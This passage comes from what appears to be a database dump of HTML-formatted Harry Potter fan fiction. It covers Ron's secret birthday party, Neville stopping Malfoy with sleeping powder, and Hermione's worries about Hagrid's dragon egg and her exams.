class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where are we\ngoing?&#8221; Ron asked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dungeon 5.&#8221; Harry answered quietly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Dungeon 5?&#8221; Ron repeated.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Shhhh,&#8221; Hermione hissed as they descended the stairs to the\ndungeon level.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry led them to\nthe deceptively quiet dungeon.&nbsp; The door\nwas shut. &#8220;Alright, we&#8217;re here.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; Ron\nstarted hastily. &#8220;It&#8217;s not too late to go back.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Ron, you worry\ntoo much,&#8221; Hermione said as she opened the door and pushed him forcibly in.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;SURPRISE!&#8221; There were at least 50 students packed in the\ndungeon, all first, second, and third year students from Gryffindor, Ravenclaw,\nand Hufflepuff.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron&#8217;s mouth\ndropped. &#8220;Wha&#8230; What&#8217;s going on?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione had shut\nthe door quickly behind her and Harry. &#8220;Don&#8217;t you know a birthday party when\nyou see one Ron?&#8221; she teased.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Birthday party?&#8221; Ron repeated slowly. &#8220;But&#8230; it&#8217;s not my\nbirthday.&nbsp; My birthday was weeks ago.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred and George\nemerged from the crowd of people. &#8220;Well better late than never, I say,&#8221; Fred\nsaid with a grin.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oy, beggars can&#8217;t be choosers,&#8221; George added. &#8220;Or would you\nrather us send this lot back to their dormitories?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was still\ncompletely in shock. &#8220;You two,&#8221; he said to Harry and Hermione. &#8220;You two knew\nabout this all along.&nbsp; That whole thing\nabout the mirror was a trick.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You catch on\npretty fast Ron,&#8221; Hermione said with a grin. &#8220;This was actually all Harry&#8217;s\nidea.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;George and I\nplanned the whole thing of course,&#8221; Fred added immediately as if he wanted no\none to have any doubt as to who the masterminds behind this party were.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You guys are the\ngreatest friends ever,&#8221; Ron said.&nbsp; He\nlooked as if he were about to explode with excitement.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Enough of this\nsentimental stuff; let&#8217;s party,&#8221; Fred said and with a wave of his wand, loud\nmusic started to play.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone began\nlaughing, talking, and dancing.&nbsp; The\nparty was a complete success and for the next few hours, everyone took turns\ncoming up to Ron to wish him a happy birthday.&nbsp;\nRon recognized most of the first year students who were there.&nbsp; The rest of them seemed to be friends of\npeople who he knew or friends of his older twin brothers.&nbsp; Almost everyone brought small gifts or wizard\nbirthday cards which did everything from singing silly songs to shouting\ncomical birthday insults.&nbsp; He opened\nHarry and Hermione&#8217;s gifts last.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks for the\nchessboard Harry,&#8221; Ron said with a grin. &#8220;Now I can beat you in style.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry rolled his\neyes. &#8220;Just you wait.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Boys,&#8221; Hermione\nsaid huffily as she handed Ron a small envelope. &#8220;Happy\nbirthday, Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hmm, well it&#8217;s\ntoo small to be a book,&#8221; Ron said taking the envelope.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just open it!&#8221;\nHermione said impatiently, but she was smiling all the same.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He pulled out the\ntwo small cards and examined them. &#8220;Hermione&#8230;&#8221; he started breathlessly. &#8220;How\ndid you find these?&nbsp; How did you even\nknow?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione\nbeamed.&nbsp; She could tell from Ron&#8217;s\nreaction that he was definitely pleased with her gift, which made it worth all\nthe effort she&#8217;d put into getting them. &#8220;As you keep telling me Ron, I&#8217;m the\ncleverest witch in our year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks\nHermione,&#8221; Ron said grinning. &#8220;I mean it.&nbsp;\nI&#8217;ve been trying for months to complete the collection.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Now his life&#8217;s\ncomplete,&#8221; George said with mock boredom.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And thanks to\nyou guys too,&#8221; Ron said to his older twin brothers. &#8220;I can&#8217;t believe you pulled\nthis off, and without me knowing what was going on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh that was the\neasy part, dung-brains,&#8221; Fred said. &#8220;We can slip just about anything past you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about this\nroom though,&#8221; Hermione pressed. &#8220;How are you keeping this\nparty such a secret?&nbsp; I&#8217;m\nsurprised we haven&#8217;t woken the whole castle up with all the noise we&#8217;ve been\nmaking.&#8221;<br>\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;When Bill was at Hogwarts, they had\nthese kinds of parties all the time.&nbsp; He\nand his friends found the best rooms in the castle to have them in,&#8221; Fred\nexplained. &#8220;Some rooms already have special magical properties embedded in the walls;\nprobably from Hogwarts students from way back when.&nbsp; They just have to be activated with special\ncharms.&nbsp; This room is one of them.&nbsp; It&#8217;s probably because it&#8217;s barely used by the\nstaff.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There are\nsilencing spells and room renewing spells, that quickly change the room back to\nits original form when the party&#8217;s over,&#8221; George continued. &#8220;There&#8217;s also a\nspecial age charm on the door that makes it impossible for anyone over 18 to\nopen the door, just in case Flitch decides to check in here.&nbsp; He&#8217;ll just think the room is locked.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But the best\nspell of all is one that we found ourselves.&nbsp;\nOnce we get the party started, we use a threshold charm.&nbsp;&nbsp; If anyone does open the door, they won&#8217;t see\nthe party.&nbsp; They&#8217;ll only see an empty\nclassroom.&nbsp; Even if they walk inside,\nthey won&#8217;t see what&#8217;s really going on unless they actually touch someone or\nsomething that they can&#8217;t see.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So you mean, a\nteacher could come in here right now and walk around the room, and as long as\nwe stayed out of their way, they wouldn&#8217;t know we&#8217;re here,&#8221; Hermione asked in\nawe. &#8220;That&#8217;s got to be a complicated spell.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, it is,&#8221;\nFred admitted. &#8220;Which is why we only use it when we have to.&nbsp; Don&#8217;t worry though, George did the spell\nright after you, Harry, and Ron arrived.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George looked at\nhis brother. &#8220;Uh, you mean you did it, right Fred?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fred&#8217;s eyes\nwidened. &#8220;No, I didn&#8217;t.&nbsp; I told you to do\nit.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No you didn&#8217;t!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well I meant\ntoo,&#8221; Fred said in exasperation. &#8220;And you&#8217;re my twin, you should have known\nanyway.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey, Potter!&#8221;\ncame a loud voice from the door that made everyone stop what they were\ndoing.&nbsp; It was Draco Malfoy.&nbsp; He had a look of pure sadistic joy on his face.\n&#8220;Nice party Potter.&nbsp; I&#8217;m sure Professor\nSnape would love to join in on the festivities.&#8221; With that he took off down the\nhall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Malfoy!&#8221; Harry called after him angrily, but it was too\nlate.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What do we do,&#8221;\nHermione said, biting her bottom look and dancing from foot to foot nervously.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I don&#8217;t know.&#8221;\nHarry said quickly.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone was\nbeginning to panic.&nbsp; They knew they\ncouldn&#8217;t all leave at once because then they&#8217;d really be caught.&nbsp; They were all frozen in fear for a few\nterrible seconds that seemed like hours.&nbsp;\nThen someone broke through the crowd and went tearing out the door.&nbsp; It was Neville.&nbsp; He was going after Malfoy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What&#8217;s he\ndoing?&#8221; Ron said as he, Harry, and Hermione ran to the door and peered out.&nbsp; Several others joined them.&nbsp; They saw Malfoy retreating down the hall and\nNeville gaining on him. &#8220;I think Neville&#8217;s finally snapped.&nbsp; He&#8217;s going to try and attack Malfoy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh Neville,&#8221;\nHermione sighed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Ron was\nwrong.&nbsp; As he drew closer to Malfoy,\nNeville reached into his pocket and pulled out the small pouch he had shown\nHermione earlier.&nbsp; He threw it as hard as\nhe could down the hall and it hit Malfoy square in the back.&nbsp; A green powder exploded from the tiny bundle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What the&#8230;&#8221;\nMalfoy said as he turned around to see what hit him.&nbsp; Green smoky powder was swirling around him\nnow.&nbsp; He saw Neville. &#8220;Why you little&#8230;&#8221;\nbut Malfoy could barely speak now.&nbsp; He\ncollapsed to the floor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, Ron and\nHarry ran up to Neville. &#8220;What did you do to him?&#8221; Harry asked in shock.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Standard\nsleeping powder; we learned about it in Herbology remember?&#8221; Neville said with\na grin. &#8220;I may never be a great wizard, but I know my plants, especially\ndittany.&nbsp; He&#8217;ll be out for hours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That was&#8230; that\nwas amazing!&#8221; Ron stammered as they walked back to the dungeon.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville blushed.\n&#8220;Well I thought it might come in handy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey everybody,\nlooks like the party&#8217;s still on,&#8221; Fred announced as he let Harry, Ron, Hermione\nand Neville back in and shut the door.&nbsp;\nHe had seen everything from the door.&nbsp;\nEveryone cheered and people were slapping Neville on the back for his\nquick thinking.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; George quickly\nperformed the threshold charm on the door as Fred climbed onto one of the\ntables to make an announcement. &#8220;Well before we tear into this wonderful\nbirthday cake, provided for us by the Hogwarts kitchen staff, I&#8217;d like to give\na toast to my little brother, Ron!&#8221; He raised his cup in the air. &#8220;You may be a\ngood-for-nothing scrawny little pain in the bum, but you&#8217;re my brother and so I\nguess that makes up for it all.&nbsp; Happy 12th Birthday Ron.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Cheers!&#8221;\nEveryone shouted as they raised their own cups.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron gave his\nbrother a half grin. &#8220;Gee, you sure do know how to make a guy feel loved.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Everyone\nlaughed.&nbsp; Fred waved his wand and the\nmusic started again.&nbsp; They began handing\nout slices of the huge sheet cake that had the words &#8220;Happy Birthday Ron&#8221;\nscribbled on it in blue icing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So how do you\nlike your party, Ron?&#8221; Harry asked as he, Hermione, and Ron sat down at a table\nin the corner. &#8220;We&#8217;re sorry we couldn&#8217;t have done this earlier.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You guys are the\nbest friends I&#8217;ve ever had,&#8221; he said with a huge grin on his face.&nbsp; For a moment, it looked as if he was going to\nbe overcome with emotion but he quickly composed himself. &#8220;I really mean that.&nbsp; Thank you both for doing this for me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The last few\nhours of the party went off without a hitch.&nbsp;\nPeople began to leave one at a time or in small groups so as not to get\ncaught on their way back to their dormitories at three in the morning.&nbsp; Harry, Ron and Hermione were the last to\nleave except for Fred and George who said they were going to &#8220;clean up.&#8221;&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron was still\nbeaming as they climbed through the portrait hole and into the Gryffindor\ncommon room.&nbsp; Despite all of the\nobjections and concerns she had about the night party, Hermione was glad she\nwas a part of it.&nbsp; It really seemed to\nhave a positive affect on her friend.&nbsp; It\nwas almost as good a feeling as she got when she was tormenting him.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy stormed up\nto the Gryffindor table Saturday morning at breakfast. &#8220;I&#8217;ll get you for this\nPotter and you too Longbottom.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville\ninvoluntarily flinched at the sight of Malfoy and his two goons, Crab and Goyle, but Harry simply reached for a bowl of eggs. &#8220;What\nare you going on about now, Malfoy?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know exactly\nwhat I&#8217;m talking about.&nbsp; Filch caught me\nthis morning at 4 AM, lying on the floor.&nbsp;\nHe thought I was sneaking away from some party and just conked out on my\nway back to my house.&nbsp; I&#8217;ve got detention\ntomorrow night because of you!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You were at a\nparty Malfoy?&#8221; Harry said, pretending this was the only part of the story he\nhad heard. &#8220;You should have invited us.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry!&#8221; Hermione\nsaid in her trademark chastising voice. &#8220;You know that&#8217;s against the\nrules.&nbsp; You wouldn&#8217;t want to do something\nlike that.&nbsp; You could get caught.&#8221; She\ngrinned up at Malfoy. &#8220;Isn&#8217;t that right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why you little&#8230;&#8221;\nMalfoy made a motion as if to grab Hermione.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr. Malfoy.&#8221;\nProfessor McGonagall was right behind him.&nbsp;\nShe and Dumbledore had already left the high table to leave the Great\nHall and it was Malfoy&#8217;s bad luck that they were right there to witness his\nattempted attack. &#8220;I believe your table is over there, is it not?&#8221; McGonagall\nsaid sternly. &#8220;Now you and your friends move along before I give you another\ndetention.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Malfoy, Crab, and\nGoyle stormed off, saying nothing.&nbsp; McGonagall continued past but Dumbledore\npaused for a while longer.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mr. Weasley,&#8221; he\nsaid quietly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked up\nfrom his food. &#8220;Uh, yes sir?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I almost\nforgot,&#8221; the headmaster said apologetically with a twinkle in his eyes. &#8220;Happy birthday.&#8221; He strolled off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; Harry, Ron, and Hermione all stared after\nhim. &nbsp;They had no way of telling if\nDumbledore knew about the most recent night party but Hermione had a feeling\nthat he may have had at least an idea of what went on.&nbsp; After all he had to have heard Malfoy&#8217;s story\nfrom Filch.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;It looks like the famous Harry Potter has\nsqueaked by again,&#8221; </i>she thought to herself with a grin, and she noticed\nthat this didn&#8217;t seem to bother her anymore.</p>\n\n\n\n\n\n\n'),
	(240, 14, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; And now on to the dragon.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So how are we\ngoing to get Hagrid to tell us more about the stone?&#8221; Hermione asked once again\nas she, Ron, and Harry found themselves trekking to\nHagrid&#8217;s cabin.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;ll just ask\nhim,&#8221; Ron said matter-of-factly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled\nher eyes. &#8220;Oh, brilliant idea.&#8221;&nbsp; This conversation was beginning to sound\nfamiliar.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was late\nafternoon and they were right in the middle of their Easter holidays.&nbsp; Only an hour prior, they had seen Hagrid in\nthe library and finally remember that they wanted to ask him more about the\nSorcerer&#8217;s Stone.&nbsp; He seemed a bit put\noff that they had actually discovered what Fluffy was guarding but also\npreoccupied by something else.&nbsp; Hagrid\nhad come to the library to do some clandestine research on dragons, but they couldn&#8217;t\nfigure out why.&nbsp; Hermione could only\nguess that Hagrid was planning a trip to go visit some real life dragons.&nbsp; Perhaps it was his idea of a holiday.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione noticed\nthat all the curtains were closed and she wondered vaguely if Hagrid had\nalready gone off somewhere.&nbsp; He knew they\nwere coming.&nbsp; When Harry told him earlier\nthat they wanted to ask him some questions, Hagrid asked them to come to the\ncabin later. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry knocked on\nthe door and they heard Hagrid call to them from inside.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s us, Hagrid,&#8221;\nHarry answered.&nbsp; The door flew open and\nHagrid ushered them all in horridly before slamming it shut behind them.&nbsp; He seemed a bit on edge, as if he didn&#8217;t want\nanyone to know that they were talking to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It was insanely\nwarm inside the cabin, mostly because of the blazing fire in his\nfireplace.&nbsp; Hermione had no idea why\nHagrid had a fire going but she supposed even though it was warm outside,\nHagrid might be cold natured.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As Hagrid served\nthem tea, Harry got right down to the point. &#8220;We were wondering and if you\ncould tell us, what&#8217;s guarding the Sorcerer&#8217;s Stone apart from fluffy.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione shook\nher head. <i style="mso-bidi-font-style:normal">&#8220;Yes, no use making small\ntalk.&nbsp; We&#8217;ll just outright ask him.&nbsp; Why are boys so remarkably dense?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As expected,\nHagrid played dumb. &#8220;Of course I can&#8217;t.&nbsp;\nNumber one, I don&#8217;t know m&#8217;self.&nbsp; Number two, you know too much already so I\nwouldn&#8217;t tell ya if I could.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione thought\nabout this as Hagrid continued on his tirade.&nbsp;\nShe knew he was lying, she could tell it in his eyes.&nbsp; Now she just had to figure out the right\nbutton to push.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh come on\nHagrid,&#8221; she started sweetly. &#8220;You might not want to tell us but you do\nknow.&nbsp; You know everything that goes on\n&#8216;round here.&nbsp; We only wondered who had\ndone the guarding really.&nbsp; We wondered\nwho Dumbledore had trusted enough to help him&#8230; apart from you.&#8221; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This last part\nseemed to be the clincher and Hermione could tell by the smile on Hagrid&#8217;s face\nthat her flattery had not gone in vain.&nbsp;\nShe saw Harry smiling at her and knew he had been impressed by her quick\nthinking.&nbsp; <i style="mso-bidi-font-style:\nnormal">&#8220;I&#8217;m so good,&#8221;</i> she thought to herself.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After that it was\neasy to get the information they needed from Hagrid, but what they found out\nturned out to be even worse news than they could have ever expected.&nbsp; It seemed that five professors besides\nDumbledore had done enchantments to help guard the stone, Sprout, Flitwick,\nMcGonagall, Quirrell, and Snape.&nbsp; This\nwas the last thing they wanted to hear.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;If Snape was in on protecting the stone,\nthen he must know a way around all of the teacher&#8217;s enchantments.&nbsp; He probably knows everything except how to\nget past Fluffy and whatever Quirrell did.&#8221;</i> Hermione glanced at Harry again\nand she could tell he was thinking the same thing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You&#8217;re the only\none who knows how to get past Fluffy aren&#8217;t you Hagrid?&#8221; Harry was asking\nHagrid now. &#8220;And you wouldn&#8217;t tell anyone, would you; not even one of the\nteachers?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hagrid confirmed\nthat only he and Dumbledore knew this secret and that set them at ease.&nbsp; It would definitely take Snape a while to get\npast a creature like Fluffy.&nbsp; Not only\nwas he ferocious but Hermione suspected that he was powerfully magical.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hagrid, can we\nhave a window open?&#8221; Harry asked finally. &#8220;I&#8217;m boiling.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can&#8217;t Harry,\nsorry&#8221; Hagrid said glancing at the fire.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\ntoo, and what she saw shocked her.&nbsp;\nSitting in the fire was a large egg and she instantly knew what it was,\na dragon&#8217;s egg.&nbsp; Hermione had never seen\na dragon&#8217;s egg before; in fact of all the things she had read about in her\nsummer studies, dragons hadn&#8217;t been one of them.&nbsp; She&#8217;d never dreamed that they would be\nsomething she was encounter at school but then again she never counted on\nmeeting a dragon loving half-giant.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat in\nstunned silence as Harry, Ron and Hagrid went to examine the egg.&nbsp; Hagrid explained to them how he had won it\nfrom a stranger in Hogsmeade. &nbsp;Who in\ntheir right mind would be walking around with a dragon egg in an all wizard&#8217;s\ntown if dragon breading was illegal?</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;But what are you\ngoing to do with it when it&#8217;s hatched,&#8221; she finally asked.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It seemed obvious\nthat Hagrid wasn&#8217;t planning on keeping it.&nbsp;\nAfter all he would get in serious trouble.&nbsp; But she realized how wrong she was when\nHagrid began to explain how he&#8217;d been reading up on dragon rearing from a book\nin the library. &nbsp;He was serious about\nkeeping the egg which turned out to be a Norwegian Ridgeback.&nbsp; But dragons grew to be huge beasts.&nbsp; It would definitely be harder to keep\nconfined than even a three-headed dog.&nbsp;\nHagrid obviously wasn&#8217;t thinking clearly, but nothing any of them said\ncould convince him to give up the egg.&nbsp;\nThey left in dismay</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, did that\njust happen?&#8221; Ron said as they stepped out of Hagrid&#8217;s hut.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Harry shook\nhis head. &#8220;This is all a terrible dream.&nbsp;\nWhat are we going to do?&#8221;&nbsp; He\nseemed to turn instinctively to Hermione as if he expected her to have the\nanswer already.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione felt a\nheadache coming on.&nbsp; She didn&#8217;t think she\nhad the energy to worry about anything else.&nbsp;\nSnape was trying to kill Harry and steal the Sorcerer&#8217;s Stone.&nbsp; Hagrid was stupidly trying to raise a\ndangerous, fire-breathing dragon in a wooden cabin, but to top it off,\nHermione&#8217;s latest letter from her father had a subtle threat that if she didn&#8217;t\nprove how much a Hogwarts education was worth, he might not let her return the\nnext year.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She had written\nher mother to tell her about the party they had for Ron, minus the part about\nhow many rules they broke to have it.&nbsp;\nApparently her father had read it as well and was livid at the fact that\nHermione was wasting her time partying when she was supposed to be studying.&nbsp; Now she had to prove that Harry and Ron\nweren&#8217;t a &#8220;bad influence&#8221; on her.&nbsp;&nbsp;&nbsp; She\njust didn&#8217;t need any more stress, not now, not when she was so close to exams.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione; are\nyou listening?&#8221; Harry asked finally.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;ve got to go\nstudy,&#8221; Hermione said suddenly and she ran off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That girl has a\none track mind,&#8221; Ron said.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; No matter how\nmany times they talked to Hagrid, he wasn&#8217;t changing his mind about the dragon\nand Harry refused outright to go to McGonagall or Dumbledore about it.&nbsp; Seeing no other options, Hermione studied\nlike there was no tomorrow.&nbsp; She rarely\nlet her focus on schoolwork slip unless they were at Hagrid&#8217;s hut working on new\nways to get rid of the dragon egg.&nbsp; She\nwished Ron and Harry would at least act a little concerned about their\nimpending exams but she realized that they didn&#8217;t have the threat of never\nreturning to Hogwarts looming over them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She hadn&#8217;t told\nthem about her father&#8217;s letter of course.&nbsp;\nShe knew it would seem trivial to them what with dragons and evil\nschemes to occupy there minds but to her this was the most important\nthing.&nbsp; Hermione knew she was probably 